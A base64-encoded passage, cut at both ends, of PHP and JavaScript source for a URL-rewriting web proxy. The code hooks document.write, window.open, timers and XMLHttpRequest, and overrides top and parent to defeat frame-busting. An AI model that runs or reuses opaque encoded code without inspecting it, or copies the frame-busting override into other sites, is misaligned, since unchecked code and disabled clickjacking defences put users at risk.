T0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pPycxJzonMCcpKTsgPz49PTE/bmF2aWdhdG9yLnBsdWdpbnM6dW5kZWZpbmVkKTsNCgkJCWNhc2UgIm1pbWVUeXBlIjogcmV0dXJuIG5hdmlnYXRvci5taW1lVHlwZTsNCgkJCWRlZmF1bHQ6IHJldHVybiB1bmRlZmluZWQ7DQoJCX0NCgl9DQoNCglpZihvYmo9PWxvY2F0aW9uICYmIGF0dHI9PSJzZWFyY2giKSB1cmw9bG9jYXRpb24uaHJlZjsNCgllbHNlIHVybD1vYmpbYXR0cl07DQoJdXJsPXRoaXMuZGVfc3Vycm9nYWZ5X3VybCh1cmwpOw0KCWlmKG9iaj09bG9jYXRpb24gJiYgYXR0cj09InNlYXJjaCIpIHVybD11cmwucmVwbGFjZSgvXlteP10qLywiIik7DQoJcmV0dXJuIHVybDsNCn0sDQoNCmV2ZW50aWZ5OmZ1bmN0aW9uKGExLGEyKXsNCglkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoImxvYWQiLGZ1bmN0aW9uKCl7PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRQYXJlbnRTdHVmZihhMSxhMik7fSxmYWxzZSk7DQoJdGhpcy5zZXRQYXJlbnRVUkwodGhpcy5DVVJSX1VSTCk7DQp9LA0KDQpzZXRQYXJlbnRVUkw6ZnVuY3Rpb24odXJsKXsNCglpZih0aGlzLnRoZXRvcCE9bnVsbCAmJiB0aGlzLnRoZXRvcCE9d2luZG93KXsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VybCcpLnZhbHVlPXVybDsNCgkJdGhpcy50aGV0b3AuZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Byb3h5X2xpbmsnKS5ocmVmPXRoaXMuYWRkX3F1ZXJ5c3R1ZmYodGhpcy5zdXJyb2dhZnlfdXJsKHVybCksIj0tJiIpOw0KCX0NCn0sDQoNCnNldFBhcmVudFN0dWZmOmZ1bmN0aW9uKHByb3RvLHNlcnZlcil7IC8vIGFtYXppbmcgY3JlYXRpdml0eSB3aXRoIHRoZSBuYW1lIG9uIG15IHBhcnQNCgl2YXIgdG9wZG9jPXRoaXMudGhldG9wLmRvY3VtZW50Ow0KCXRvcGRvYy50aXRsZT1kb2N1bWVudC50aXRsZTsNCg0KCS8vIGZpbmQgYW5kIHNldCBzaG9ydGN1dCBpY29uDQoJdmFyIHRvcGhlYWQ9dG9wZG9jLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF07DQoJdmFyIGxpbmtzPXRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKTsNCgl2YXIgbGluaz1udWxsOw0KCWZvcih2YXIgaT0wOyBpPGxpbmtzLmxlbmd0aDsgaSsrKXsgaWYobGlua3NbaV0udHlwZT09ImltYWdlL3gtaWNvbiIgJiYgbGlua3NbaV0ucmVsPT0ic2hvcnRjdXQgaWNvbiIpIGxpbms9bGlua3NbaV07IH0NCg0KCWlmKHRvcGhlYWQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKS5sZW5ndGg+MCkgdG9waGVhZC5yZW1vdmVDaGlsZCh0b3Bkb2MuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImxpbmsiKVswXSk7DQoNCgl2YXIgZmF2aWNvbj10b3Bkb2MuY3JlYXRlRWxlbWVudCgibGluayIpOw0KCWZhdmljb24udHlwZT0iaW1hZ2UveC1pY29uIjsNCglmYXZpY29uLnJlbD0ic2hvcnRjdXQgaWNvbiI7DQoJZmF2aWNvbi5ocmVmPShsaW5rPT1udWxsP3RoaXMuc3Vycm9nYWZ5X3VybChwcm90bysiOi8vIitzZXJ2ZXIrIi9mYXZpY29uLmljbyIpOmxpbmsuaHJlZik7DQoJdG9waGVhZC5hcHBlbmRDaGlsZChmYXZpY29uKTsNCn0sDQoNClhNTEh0dHBSZXF1ZXN0X3dyYXA6ZnVuY3Rpb24oeG1saHR0cG9iail7DQoJeG1saHR0cG9iai48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X29wZW49eG1saHR0cG9iai5vcGVuOw0KCXhtbGh0dHBvYmoub3Blbj08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LlhNTEh0dHBSZXF1ZXN0X29wZW47DQoJcmV0dXJuIHhtbGh0dHBvYmo7DQp9LA0KDQpYTUxIdHRwUmVxdWVzdF9vcGVuOmZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzFdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uc3Vycm9nYWZ5X3VybChhcmd1bWVudHNbMV0pOw0KCXJldHVybiB0aGlzLjw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fb3Blbi5hcHBseSh0aGlzLGFyZ3VtZW50cyk7DQp9LA0KDQovLyBXUkFQUEVEIEZVTkNUSU9OUyBBTkQgT0JKRUNUUw0KdGhldG9wOnRvcCwNCnRoZXBhcmVudDpwYXJlbnQsDQpzZXRUaW1lb3V0OndpbmRvdy5zZXRUaW1lb3V0LA0Kc2V0SW50ZXJ2YWw6d2luZG93LnNldEludGVydmFsLA0KZG9jdW1lbnRfd3JpdGVfcXVldWU6IiIsDQpwdXJnZTpmdW5jdGlvbigpew0KCXRoZWh0bWw9dGhpcy5kb2N1bWVudF93cml0ZV9xdWV1ZTsNCglpZih0aGVodG1sPT0iIikgcmV0dXJuOw0KCXRoZWh0bWw9dGhpcy5wYXJzZV9hbGxfaHRtbCh0aGVodG1sKTsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCS8vYWxlcnQodGhlaHRtbCk7IC8vIERFQlVHDQoJZG9jdW1lbnQud3JpdGVfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pih0aGVodG1sKTsNCn0sDQoNCnB1cmdlX25vcGFyc2U6ZnVuY3Rpb24oKXsNCgl0aGVodG1sPXRoaXMuZG9jdW1lbnRfd3JpdGVfcXVldWU7DQoJaWYodGhlaHRtbD09IiIpIHJldHVybjsNCgl0aGlzLmRvY3VtZW50X3dyaXRlX3F1ZXVlPSIiOw0KCWRvY3VtZW50LndyaXRlXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4odGhlaHRtbCk7DQp9DQoNCn0NCg0KLy8gfX19DQoNCi8vIEpBVkFTQ1JJUFQgRlVOQ1M6IFdSQVBQSU5HIHt7ew0KDQpkb2N1bWVudC53cml0ZV88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlOw0KZG9jdW1lbnQud3JpdGVsbl88P3BocCBlY2hvKENPT0tfUFJFRik7ID8+PWRvY3VtZW50LndyaXRlbG47DQpkb2N1bWVudC53cml0ZT1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbDsgfQ0KZG9jdW1lbnQud3JpdGVsbj1mdW5jdGlvbihodG1sKXsgPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kb2N1bWVudF93cml0ZV9xdWV1ZSs9aHRtbCsiXG4iOyB9DQoNCndpbmRvdy5vcGVuXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz49d2luZG93Lm9wZW47DQp3aW5kb3cub3Blbj1kb2N1bWVudC5vcGVuPWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwxKSByZXR1cm47DQoJdmFyIHVybD08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnN1cnJvZ2FmeV91cmwoYXJndW1lbnRzWzBdKTsNCglpZigodXJsLnN1YnN0cmluZygwLDEpPT0iXCIiIHx8IHVybC5zdWJzdHJpbmcoMCwxKT09IiciKSAmJiB1cmwuc3Vic3RyaW5nKDAsMSk9PXVybC5zdWJzdHJpbmcodXJsLmxlbmd0aC0xLHVybC5sZW5ndGgpKSB1cmw9dXJsLnN1YnN0cmluZygxLHVybC5sZW5ndGgtMSk7DQoJYXJndW1lbnRzWzBdPXVybDsNCglyZXR1cm4gd2luZG93Lm9wZW5fPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfQ0KDQpzZXRUaW1lb3V0PWZ1bmN0aW9uKCl7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKE